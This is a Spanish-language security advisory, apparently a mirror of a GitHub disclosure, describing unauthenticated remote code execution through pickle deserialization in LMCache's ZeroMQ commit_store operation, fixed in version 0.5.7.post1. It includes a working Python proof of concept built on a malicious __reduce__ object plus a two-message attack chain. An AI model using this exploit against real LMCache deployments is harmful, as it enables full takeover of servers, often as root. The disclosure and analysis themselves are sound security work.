GHSA-QR43-HV93-6X7P
Deserialización de pickle no autenticada en commit_store de multiprocesamiento de LMCache (sumidero distinto de CVE-2026-105192)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.5.7.post1 | lmcache · -6 d desde divulgación | |
| Divulgación | Publicada | GHSA-QR43-HV93-6X7P divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
El socket ROUTER de ZeroMQ del modo multiproceso/distribuido de LMCache (`lmcache/v1/multiprocess/mq.py`) no está autenticado. Además de la ruta msgpack `ext_hook` divulgada previamente (CVE-2026-105192 / GHSA-vv44-hjm2-qw2f, limitada a `DeviceIPCWrapper.Deserialize`), la operación `commit_store` (id de operación 17) transporta un payload de tipo `bytes` que se carga con pickle de forma incondicional. Un atacante no autenticado que pueda alcanzar el ROUTER (`--host 0.0.0.0` o acceso entre nodos en despliegues distribuidos) logra ejecución remota de código mediante una secuencia de dos mensajes. Este es un sumidero distinto y una ruta de código distinta del aviso previamente divulgado (CVE-2026-105192). Una corrección en `DeviceIPCWrapper.Deserialize` o en el hook Ext de msgspec no cierra esta vulnerabilidad.
Causa raíz
`PickleTransferStrategy.commit_store` (y el respaldo de la estrategia SHM) llama a `pickle.loads` sobre los bytes crudos `cpu_data` enviados por el cliente:
# lmcache/v1/multiprocess/modules/server_transfer.py:198-213 (v0.5.6rc3)
def commit_store(self, ..., cpu_data: bytes, ...):
obj_keys = resolve_obj_keys(key)
chunks: list[torch.Tensor] = pickle.loads(cpu_data) # <-- sumidero, línea 212
...`cpu_data` proviene del payload en el cable de la operación 17 `commit_store`. La capa de transporte declara el campo como `bytes` (véase el esquema del mensaje `commit_store` en `transport/base.py`), por lo que el despachador en `mq.py:102-112` lo decodifica como `msgspec.msgpack.decode(b_obj, type=bytes)`. `bytes` no está en `_SPECIAL_ENCODER_DECODERS` y no es `(bool, int)`, así que no interviene ningún hook Ext. El atacante controla por completo los bytes crudos que se pasan a `pickle.loads`.
La estrategia de transferencia SHM (`ShmTransferStrategy.commit_store`) también recurre a `PickleTransferStrategy.commit_store` siempre que `cpu_data != b""`, por lo que la configuración SHM no neutraliza el sumidero.
Impacto
- Ejecución remota de código no autenticada en el proceso del servidor de LMCache en todo despliegue alcanzable con `supported_transfer_mode ∈ {engine_driven, auto}`.
- Las imágenes de contenedor oficiales no definen una directiva `USER`, por lo que la ejecución remota de código se ejecuta como root en esos despliegues.
- Pérdida total de confidencialidad (pesos de modelos, cachés KV, datos de inquilinos), integridad y disponibilidad.
Prueba de concepto
import pickle, zmq, msgspec
from lmcache.v1.multiprocess.transfer.engine_driven_transfer import RegisterEngineDrivenContextPayload
from lmcache.v1.multiprocess.transfer.ipc_key import IPCCacheServerKey
class RCE:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))
ctx = zmq.Context(); s = ctx.socket(zmq.DEALER); s.connect("tcp://<victim>:5555")
# op 14: register_kv_cache_engine_driven_context
reg = RegisterEngineDrivenContextPayload(instance_id=1337, ..., dtype_str="float16", use_mla=False)
s.send_multipart([b"", b"", msgspec.msgpack.encode(reg)])
# op 17: commit_store con cpu_data de tipo pickle-bomb
key = IPCCacheServerKey(worker_id=0, ...)
payload = msgspec.msgpack.encode([key, 1337, pickle.dumps(RCE())])
s.send_multipart([b"", b"", payload])La ejecución remota se dispara dentro de `pickle.loads(cpu_data)` durante el despacho de `__reduce__`, antes de que se alcance cualquier lógica posterior de fragmentos o claves.
Cadena de ataque
- Entrada: conectar un DEALER de ZMQ a `tcp://<host>:<port>` (por defecto 5555).
- Control: ninguno. `self.socket = self.ctx.socket(zmq.ROUTER); self.socket.bind(bind_url)` (mq.py:525-526). No hay CURVE, ZAP ni autenticador en todo el árbol `lmcache/v1/multiprocess`.
- Prueba de omisión: buscar `CURVE|zap_domain|Authenticator|plain_password|ServerInterceptor` en `lmcache/v1/multiprocess` (excluyendo pruebas) no devuelve coincidencias.
- Registro: operación 14 `register_kv_cache_engine_driven_context`.
- Control: el manejador solo valida que `dtype_str` se resuelva a un `torch.dtype` (`engine_driven_transfer.py:286-292`).
- Prueba de omisión: `"float16"` pasa la validación; `create_transfer_strategy` con `shm_name=""` por defecto devuelve `PickleTransferStrategy` (`server_transfer.py:66-80`).
- Disparo: operación 17 `commit_store` con `[IPCCacheServerKey(worker_id=0, …), 1337, pickle.dumps(RCE())]`.
- Control antes del sumidero: `_resolve_for_transfer(1337)` tiene éxito (registrado en el paso 2); `resolve_obj_keys(key)` lanza una excepción solo si `key.worker_id is None` (`engine_context.py:317-318`).
- Prueba de omisión: el atacante establece `worker_id=0`; el flujo llega de forma incondicional a `pickle.loads(cpu_data)` en `server_transfer.py:212`. `__reduce__` se ejecuta durante `pickle.loads`, antes de que se usen `chunks` u `obj_keys`.
- Impacto: ejecución remota de código como usuario del proceso de LMCache (root en las imágenes de contenedor oficiales).
Evidencia de omisión
- Sumidero confirmado en `v0.5.6rc3`: `git show v0.5.6rc3:lmcache/v1/multiprocess/modules/server_transfer.py | sed -n '210,215p'` → `chunks: list[torch.Tensor] = pickle.loads(cpu_data)`.
- Sumidero NO cerrado por la corrección de CVE-2026-105192: ese aviso limita el alcance a `DeviceIPCWrapper.Deserialize` (ruta ext_hook en `ipc_wrapper.py`). El campo de payload de `commit_store` está tipado como `bytes` y se decodifica mediante `msgspec.msgpack.decode(..., type=bytes)`, sin intervención de Ext ni de ext_hook. Es una ruta de código independiente que requiere una corrección independiente.
- Respaldo de la estrategia SHM: `ShmTransferStrategy.commit_store` recurre a `PickleTransferStrategy.commit_store` cuando `cpu_data != b""` (`server_transfer.py:402-430`), por lo que la configuración SHM no evita el sumidero.
Versiones afectadas
`<= 0.5.6rc3` (y HEAD `e64b43e`). El sumidero está presente en todas las etiquetas listadas; no hay corrección posterior a la publicación en `main`.
Precondiciones de configuración
- `supported_transfer_mode ∈ {"engine_driven", "auto"}` (el valor por defecto es `"lmcache_driven"`; la documentación de servicio distribuido entre nodos suele configurar `"engine_driven"` o `"auto"`).
- El alcance de red requiere que `--host` esté configurado con una dirección que no sea loopback (misma precondición que CVE-2026-105192).
Según la guía de CVSS 3.1, una configuración no predeterminada reduce la población vulnerable, pero no eleva AC; una vez establecido el modo, la explotación es una secuencia determinista de dos mensajes.
Corrección sugerida
Reemplazar `pickle.loads(cpu_data)` por un deserializador tipado (por ejemplo, un `Decoder[list[TensorChunkMeta]]` dedicado de msgspec), o envolver `cpu_data` en un envoltorio autenticado (HMAC o canal firmado) antes de deserializar. El mismo patrón debería aplicarse a cualquier otro `pickle.loads` sobre bytes provenientes del cable en `v1/multiprocess`.
---
Reportado por zx (Jace): GitHub @manus-use
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilmcache |
Corregida | 0.5.7.post1 | -6 d | 0.5.7.post1 no afectada |
0.5.7.post10.5.7Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/LMCache/LMCache/security/advisories/GHSA-qr43-hv93-6x7pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
